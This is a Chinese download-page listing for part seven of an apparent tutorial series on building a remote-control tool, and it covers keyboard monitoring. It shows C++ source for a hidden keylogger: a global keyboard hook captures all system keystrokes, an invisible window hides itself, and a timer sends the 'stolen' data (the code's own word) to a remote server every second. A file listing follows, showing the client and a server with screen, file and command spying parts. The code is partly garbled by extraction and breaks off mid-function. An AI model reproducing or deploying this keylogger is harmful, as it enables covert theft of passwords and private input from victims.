资源简介
从零开始做远控教程(远程控制) 第七篇 键盘监控
代码片段和文件信息
#include “keyboardspy.h“
// 互挤体,用来确保线程安全
static CRITICAL_SECTION gCs;
// 初始化类
static KeyboardSpy spy;
// 窗口句柄
static HWND hWnd = NULL;
// 键盘钩子句柄
static HHOOK gHHook = NULL;
// socket列表
static std::vector gSockets;
// 键盘数据缓存区
static std::vector gBuffer;
KeyboardSpy::KeyboardSpy()
{
// 初始化互挤体
InitializeCriticalSection(&gCs);
// 创建一个对话框来处理win32事件
createDialogByNewThread();
}
KeyboardSpy::~KeyboardSpy()
{
if(hWnd) {
// 关闭计时器
KillTimer(hWnd 0);
// 删除socket
const int max = gSockets.size();
for (int i=0; i gSockets.at(i)->dissconnect();
delete gSockets.at(i);
}
// 关闭窗口
DestroyWindow(hWnd);
// 移除键盘监控
if (gHHook) {
uninstallKeyboardHook(gHHook);
}
}
// 删除互挤体
DeleteCriticalSection(&gCs);
}
void KeyboardSpy::startKeyboardSpy(std::string domain int port)
{
TcpSocket *sock = new TcpSocket();
if (!sock->connectTo(domain port)) {
// 释放socket
delete sock;
std::cout << “Failed to connect server for keyboard spy“ << std::endl;
std::fflush(stdout);
return;
}
// 把socket加到列表,当有键盘数据就会调用socket
addSocket(sock);
// 输出信息
std::cout << “Started keyboard spy success“ << std::endl;
std::fflush(stdout);
}
void KeyboardSpy::createDialogByNewThread()
{
// 启动一个新线程来做监控
HANDLE h = CreateThread(NULL0KeyboardSpy::threadProc(LPVOID)NULL0NULL);
if (!h) {
std::cout << “Failed to create new thread“ << std::endl;
std::fflush(stdout);
}
}
DWORD KeyboardSpy::threadProc(LPVOID)
{
// 创建一个不可见的窗口来处理win32事件
WORD tempMem[1024];
LPDLGTEMPLATEA temp = (LPDLGTEMPLATEA)tempMem;
temp->style=WS_CAPTION; temp->dwExtendedstyle=0;
temp->x=0; temp->y=0;
temp->cx=0; temp->cy=0;
int ret = DialogBoxIndirectParamA(NULLtemp NULL keyboardSpyWndProc(LPARAM)NULL);
if (ret == -1) {
std::cout << “Failed to create dialog box for keyboard spy“ << std::endl;
std::fflush(stdout);
}
return true;
}
WINBOOL KeyboardSpy::keyboardSpyWndProc(HWND hWnd UINT uiMsg WPARAM LPARAM )
{
switch(uiMsg) {
// 初始化监控
case WM_INITDIALOG: {
std::cout << “WM_INITDIALOG“ << std::endl;
std::fflush(stdout);
// 定时发送窃取的数据
const int time = 1000; // 我这里设置1秒发送一次,你可以设置你自己想要的
SetTimer(hWnd0 time sendKeyboardData);
// 安装键盘钩子来截取系统的所有键盘输入
gHHook = installKeyboardHook();
if (!gHHook) {
std::cout << “Failed to install keyboard hook“ << std::endl;
std::fflush(stdout);
}
break;
}
case WM_PAINT:
// 隐藏窗口
ShowWindow(hWndSW_HIDE);
break;
default:
break;
}
return false;
}
HHOOK Keyb
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 1378 1997-10-18 15:41 Zero远控-07\ZeroClient\jpeg\jconfig.h
文件 12717 2014-09-03 11:55 Zero远控-07\ZeroClient\jpeg\jmorecfg.h
文件 47339 2016-12-21 08:02 Zero远控-07\ZeroClient\jpeg\jpeglib.h
文件 235030 2014-04-05 15:23 Zero远控-07\ZeroClient\jpeg\libjpeg.lib
文件 7089 2016-12-22 17:41 Zero远控-07\ZeroClient\keyboardspy.cpp
文件 1512 2016-12-22 15:24 Zero远控-07\ZeroClient\keyboardspy.h
文件 1182 2016-12-22 16:11 Zero远控-07\ZeroClient\main.cpp
文件 9187 2016-12-22 11:23 Zero远控-07\ZeroClient\screenspy.cpp
文件 1378 2016-12-21 14:42 Zero远控-07\ZeroClient\screenspy.h
文件 2979 2016-12-20 16:30 Zero远控-07\ZeroClient\tcpsocket.cpp
文件 901 2016-12-21 12:27 Zero远控-07\ZeroClient\tcpsocket.h
文件 7959 2016-12-22 16:15 Zero远控-07\ZeroClient\zeroclient.cpp
文件 2357 2016-12-22 16:13 Zero远控-07\ZeroClient\zeroclient.h
文件 261 2016-12-22 10:29 Zero远控-07\ZeroClient\ZeroClient.pro
文件 23635 2016-12-22 17:42 Zero远控-07\ZeroClient\ZeroClient.pro.user
文件 199 2016-12-19 12:00 Zero远控-07\ZeroServer\main.cpp
文件 5064 2016-04-24 09:10 Zero远控-07\ZeroServer\resources\cmdspy.png
文件 8132 2016-04-24 09:13 Zero远控-07\ZeroServer\resources\filespy.png
文件 4560 2016-04-24 09:23 Zero远控-07\ZeroServer\resources\keyboardspy.png
文件 7688 2016-04-24 09:14 Zero远控-07\ZeroServer\resources\screenspy.png
文件 21662 2016-04-24 10:49 Zero远控-07\ZeroServer\resources\zero.ico
文件 3644 2016-04-24 10:44 Zero远控-07\ZeroServer\resources\zero.png
文件 324 2016-12-18 16:40 Zero远控-07\ZeroServer\resources.qrc
文件 2750 2016-12-21 15:59 Zero远控-07\ZeroServer\screenspy.cpp
文件 1264 2016-12-21 15:47 Zero远控-07\ZeroServer\screenspy.h
文件 892 2016-12-21 12:56 Zero远控-07\ZeroServer\tcpserver.cpp
文件 892 2016-12-20 11:15 Zero远控-07\ZeroServer\tcpserver.h
文件 1060 2016-12-21 15:13 Zero远控-07\ZeroServer\tcpsocket.cpp
文件 1182 2016-12-21 15:28 Zero远控-07\ZeroServer\tcpsocket.h
文件 9225 2016-12-22 08:02 Zero远控-07\ZeroServer\widget.cpp
............此处省略19个文件信息
- 上一篇:Zero-远控--08
- 下一篇:Zero远控_09
评论
共有 条评论